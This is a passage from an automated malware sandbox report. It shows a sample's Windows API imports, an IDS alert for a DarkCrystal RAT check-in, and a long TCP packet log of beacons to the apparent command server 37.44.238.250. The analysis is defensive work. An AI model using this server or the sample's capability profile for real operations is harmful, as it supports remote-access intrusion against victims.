                                                                  RT_GROUP_ICON0x1a2b40x14dataRussianRussia1.1

                                                                  Imports

                                                                  DLLImport
                                                                  kernel32.dllDeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetVersion, GetCurrentThreadId, GetThreadLocale, GetStartupInfoA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, ExitProcess, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
                                                                  user32.dllGetKeyboardType, MessageBoxA
                                                                  advapi32.dllRegQueryValueExA, RegOpenKeyExA, RegCloseKey
                                                                  oleaut32.dllSysFreeString, SysReAllocStringLen
                                                                  kernel32.dllTlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
                                                                  advapi32.dllRegSetValueExA, RegOpenKeyExA, RegCloseKey
                                                                  kernel32.dllWriteFile, WinExec, SetFilePointer, SetFileAttributesA, SetEndOfFile, SetCurrentDirectoryA, ReleaseMutex, ReadFile, GetWindowsDirectoryA, GetTempPathA, GetShortPathNameA, GetModuleFileNameA, GetLogicalDriveStringsA, GetLocalTime, GetLastError, GetFileSize, GetFileAttributesA, GetDriveTypeA, GetCommandLineA, FreeLibrary, FindNextFileA, FindFirstFileA, FindClose, DeleteFileA, CreateMutexA, CreateFileA, CreateDirectoryA, CloseHandle
                                                                  gdi32.dllStretchDIBits, SetDIBits, SelectObject, GetObjectA, GetDIBits, DeleteObject, DeleteDC, CreateSolidBrush, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, BitBlt
                                                                  user32.dllReleaseDC, GetSysColor, GetIconInfo, GetDC, FillRect, DestroyIcon, CopyImage, CharLowerBuffA
                                                                  shell32.dllShellExecuteA, ExtractIconA

                                                                  Possible Origin

                                                                  Language of compilation systemCountry where language is spokenMap
                                                                  RussianRussia

                                                                  Network Behavior

                                                                  Suricata IDS Alerts

                                                                  TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                  2025-01-13T13:10:50.334984+01002048095ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)1192.168.2.44973637.44.238.25080TCP

                                                                  Network Port Distribution

                                                                  TCP Packets

                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                  Jan 13, 2025 13:10:49.605123997 CET4973680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:49.610150099 CET804973637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:49.610233068 CET4973680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:49.611191988 CET4973680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:49.615993977 CET804973637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:49.974989891 CET4973680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:49.980017900 CET804973637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:50.254040956 CET804973637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:50.334892035 CET804973637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:50.334912062 CET804973637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:50.334984064 CET4973680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:52.025785923 CET4973680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:52.030669928 CET804973637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:52.220942974 CET804973637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:52.221185923 CET4973680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:52.225945950 CET804973637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:52.486850977 CET804973637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:52.563941956 CET4973680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:52.790344000 CET4973680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:52.795125008 CET804973637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:52.795631886 CET4973780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:52.800437927 CET804973737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:52.800720930 CET4973780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:52.800759077 CET4973780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:52.805505037 CET804973737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:52.978502989 CET804973637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:52.984688997 CET4973680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:52.989527941 CET804973637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:52.989643097 CET804973637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:53.157917023 CET4973780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:53.162837982 CET804973737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:53.162872076 CET804973737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:53.162880898 CET804973737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:53.438255072 CET804973737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:53.563908100 CET4973780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:54.580615997 CET804973637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:54.580729008 CET804973737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:54.580782890 CET804973737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:54.580832005 CET4973780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:54.580848932 CET804973637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:54.580888033 CET4973680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:54.580935955 CET804973737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:54.580972910 CET4973780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:54.581446886 CET804973637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:54.581485987 CET4973680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:54.581856012 CET804973737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:54.581893921 CET4973780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:54.582101107 CET804973637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:54.582155943 CET4973680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:54.916224957 CET4973880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:54.921274900 CET804973837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:54.921349049 CET4973880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:54.921469927 CET4973880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:54.926274061 CET804973837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:54.935018063 CET4973680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:54.937468052 CET4973780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:54.940115929 CET804973637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:54.940165043 CET4973680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:54.942405939 CET804973737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:54.942473888 CET4973780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:55.267093897 CET4973880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:55.272140980 CET804973837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:55.272156000 CET804973837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:55.272166014 CET804973837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:55.578768969 CET804973837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:55.596731901 CET4973980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:55.601712942 CET804973937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:55.601805925 CET4973980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:55.601914883 CET4973980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:55.606714964 CET804973937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:55.673299074 CET4973880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:55.711286068 CET804973837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:55.714394093 CET4973880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:55.720387936 CET804973837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:55.720443010 CET4973880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:55.954674959 CET4973980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:55.959758043 CET804973937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:55.959821939 CET804973937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:56.108318090 CET4974080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:56.114197016 CET804974037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:56.115123987 CET4974080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:56.115309000 CET4974080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:56.120099068 CET804974037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:56.261442900 CET804973937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:56.360810041 CET4973980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:56.393408060 CET804973937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:56.470263958 CET4974080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:56.475220919 CET804974037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:56.475235939 CET804974037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:56.475244999 CET804974037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:56.478472948 CET4973980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:56.744123936 CET804974037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:56.873718023 CET804974037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:56.874855995 CET4974080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.395005941 CET4973980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.395080090 CET4974080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.396382093 CET4974180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.400015116 CET804973937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.400072098 CET4973980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.400329113 CET804974037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.400372982 CET4974080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.401154041 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.401242018 CET4974180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.401386023 CET4974180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.406127930 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.415580034 CET4974280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.420416117 CET804974237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.420475960 CET4974280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.420599937 CET4974280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.425421000 CET804974237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.751668930 CET4974180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.756738901 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.756757975 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.756766081 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.756774902 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.756786108 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.756794930 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.756802082 CET4974180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.756803989 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.756820917 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.756830931 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.756839991 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.756843090 CET4974180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.756861925 CET4974180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.756879091 CET4974180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.756896973 CET4974180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.761704922 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.761735916 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.761753082 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.761760950 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.761761904 CET4974180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.761791945 CET4974180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.761806965 CET4974180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.761828899 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.761837959 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.761866093 CET4974180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.761878014 CET4974180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.767628908 CET4974280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.772542000 CET804974237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.772556067 CET804974237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.772564888 CET804974237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.806811094 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.806976080 CET4974180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.849509001 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.849811077 CET4974180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.854737043 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.854751110 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.854763031 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.854800940 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.854809999 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.854826927 CET4974180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.854856014 CET4974180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.854865074 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.854876041 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.854883909 CET4974180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.854906082 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.854909897 CET4974180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:57.854933023 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.854979038 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.855007887 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.855082035 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.855089903 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.855123997 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.855182886 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.855222940 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.855282068 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.855417967 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.855434895 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.855473042 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.855532885 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.855567932 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.855623960 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.855659008 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.855736017 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.859709024 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.859782934 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.859793901 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.859853029 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.859955072 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:57.859963894 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:58.031088114 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:58.251426935 CET4974180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:58.298288107 CET804974237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:58.300348043 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:58.300396919 CET4974180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:58.300400019 CET804974237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:58.300472021 CET804974237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:58.300496101 CET4974280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:58.300528049 CET4974280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:58.475668907 CET4974280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:58.476491928 CET4974580192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:58.480688095 CET804974237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:58.480811119 CET4974280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:58.481307030 CET804974537.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:58.481372118 CET4974580192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:58.481509924 CET4974580192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:58.486216068 CET804974537.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:58.745654106 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:58.745852947 CET4974180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:58.750956059 CET804974137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:58.751015902 CET4974180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:58.829591990 CET4974580192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:58.834544897 CET804974537.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:58.834573030 CET804974537.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:58.834584951 CET804974537.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:59.131508112 CET804974537.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:59.269674063 CET804974537.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:59.269735098 CET4974580192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:59.421073914 CET4974580192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:59.426094055 CET804974537.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:59.426193953 CET4974580192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:59.430496931 CET4974680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:59.435394049 CET804974637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:59.435477018 CET4974680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:59.435622931 CET4974680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:59.440361977 CET804974637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:59.783382893 CET4974680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:10:59.788264990 CET804974637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:59.788279057 CET804974637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:10:59.788289070 CET804974637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:00.074445009 CET804974637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:00.203423977 CET804974637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:00.203481913 CET4974680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:00.375725985 CET4974680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:00.376687050 CET4974880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:00.380815983 CET804974637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:00.380897999 CET4974680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:00.381529093 CET804974837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:00.382852077 CET4974880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:00.382977962 CET4974880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:00.387759924 CET804974837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:00.735975981 CET4974880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:00.741048098 CET804974837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:00.741065025 CET804974837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:00.741075039 CET804974837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:01.031017065 CET804974837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:01.157669067 CET4974880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:01.161417007 CET804974837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:01.360797882 CET4974880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:01.408159018 CET4974880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:01.408938885 CET4974980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:01.413295031 CET804974837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:01.413355112 CET4974880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:01.413814068 CET804974937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:01.413873911 CET4974980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:01.414022923 CET4974980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:01.418848038 CET804974937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:01.429694891 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:01.601737022 CET4975180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:01.634804964 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:01.634918928 CET804975137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:01.635024071 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:01.635162115 CET4975180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:01.635178089 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:01.639986992 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:01.661976099 CET4975180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:01.666918993 CET804975137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:01.770657063 CET4974980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:01.775721073 CET804974937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:01.775737047 CET804974937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:01.985954046 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:01.991214991 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:01.991230965 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:01.991240025 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.017219067 CET4975180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.022217989 CET804975137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.054920912 CET804974937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.173288107 CET4974980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.184114933 CET804974937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.282390118 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.284584999 CET804975137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.376384974 CET4974980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.376471043 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.411541939 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.415986061 CET804975137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.416052103 CET4975180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.422107935 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.427118063 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.592446089 CET4975180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.594280005 CET4975280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.597855091 CET804975137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.597918034 CET4975180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.599189043 CET804975237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.599251986 CET4975280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.599447966 CET4975280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.604343891 CET804975237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.620119095 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.620542049 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.625648975 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.625682116 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.625710011 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.625734091 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.625736952 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.625787973 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.625790119 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.625818968 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.625845909 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.625847101 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.625874996 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.625895023 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.625902891 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.625907898 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.625921965 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.625930071 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.625956059 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.625967026 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.625982046 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.626029968 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.630930901 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.630961895 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.631010056 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.631028891 CET4975080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:11:02.631036997 CET804975037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:11:02.631087065 CET4975080192.168.2.437.44.238.250
